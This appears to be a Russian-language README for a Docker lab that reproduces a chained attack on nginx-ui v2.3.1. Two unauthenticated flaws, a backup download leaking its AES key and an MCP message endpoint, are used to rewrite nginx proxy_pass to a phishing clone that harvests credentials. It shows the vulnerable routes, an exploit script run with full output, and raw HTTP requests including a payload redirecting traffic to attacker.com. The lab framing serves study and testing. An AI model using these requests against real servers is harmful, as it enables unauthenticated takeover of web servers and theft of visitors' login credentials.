X-Backup-Security: <base64_key>:<base64_iv>

r.GET("/backup", CreateBackup)   // ❌ нет middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ ОТСУТСТВУЕТ AuthRequired()

┌──────────────────────────────────────────────────────────┐
│  Браузер                                                  │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  Злоумышленник                     ▼                     │
│  http://localhost:9000  ──►  nginx_ui (:9000) УЯЗВИМЫЙ   │
│  (без учётных данных)      uozi/nginx-ui:v2.3.1          │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp (зелёный)        │  легитимная    │
│              │  proxy_pass по умолч.    │  форма входа   │
│              └─────────────────────────┘                 │
│              ┌─────────────────────────┐                 │
│              │  malicious_site (красн.) │  фишинг-клон   │
│              │  proxy_pass после атаки  │  собирает креды │
│              └─────────────────────────┘                 │
└──────────────────────────────────────────────────────────┘

git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d

pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  nginx-ui Zero-Cred RCE
  Цель : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — загрузка резервной копии (без аутентификации)
[+] Ключ AES+IV из заголовка: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Секрет узла извлечён: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — открытие неаутентифицированной MCP-сессии (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] Разведка — чтение текущей конфигурации
[+] Текущая: proxy_pass http://webapp:80;

[*] Перезапись default.conf через POST /mcp_message (без аутентификации)
[+] Новая:     proxy_pass http://malicious_site:80;

[*] Перезагрузка nginx через POST /mcp_message (без аутентификации)
[+] nginx перезагружен — конфигурация активна

[!] Атака завершена.
    Жертвы на http://localhost:8080/ теперь получают фишинговую страницу.
    Просмотр перехваченных учётных данных: http://localhost:8080/?debug=1

python3 exploit/exploit.py --url http://localhost:9000 --reset

GET /api/backup HTTP/1.1
Host: target:9000

HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

GET /mcp?node_secret=<uuid>

POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}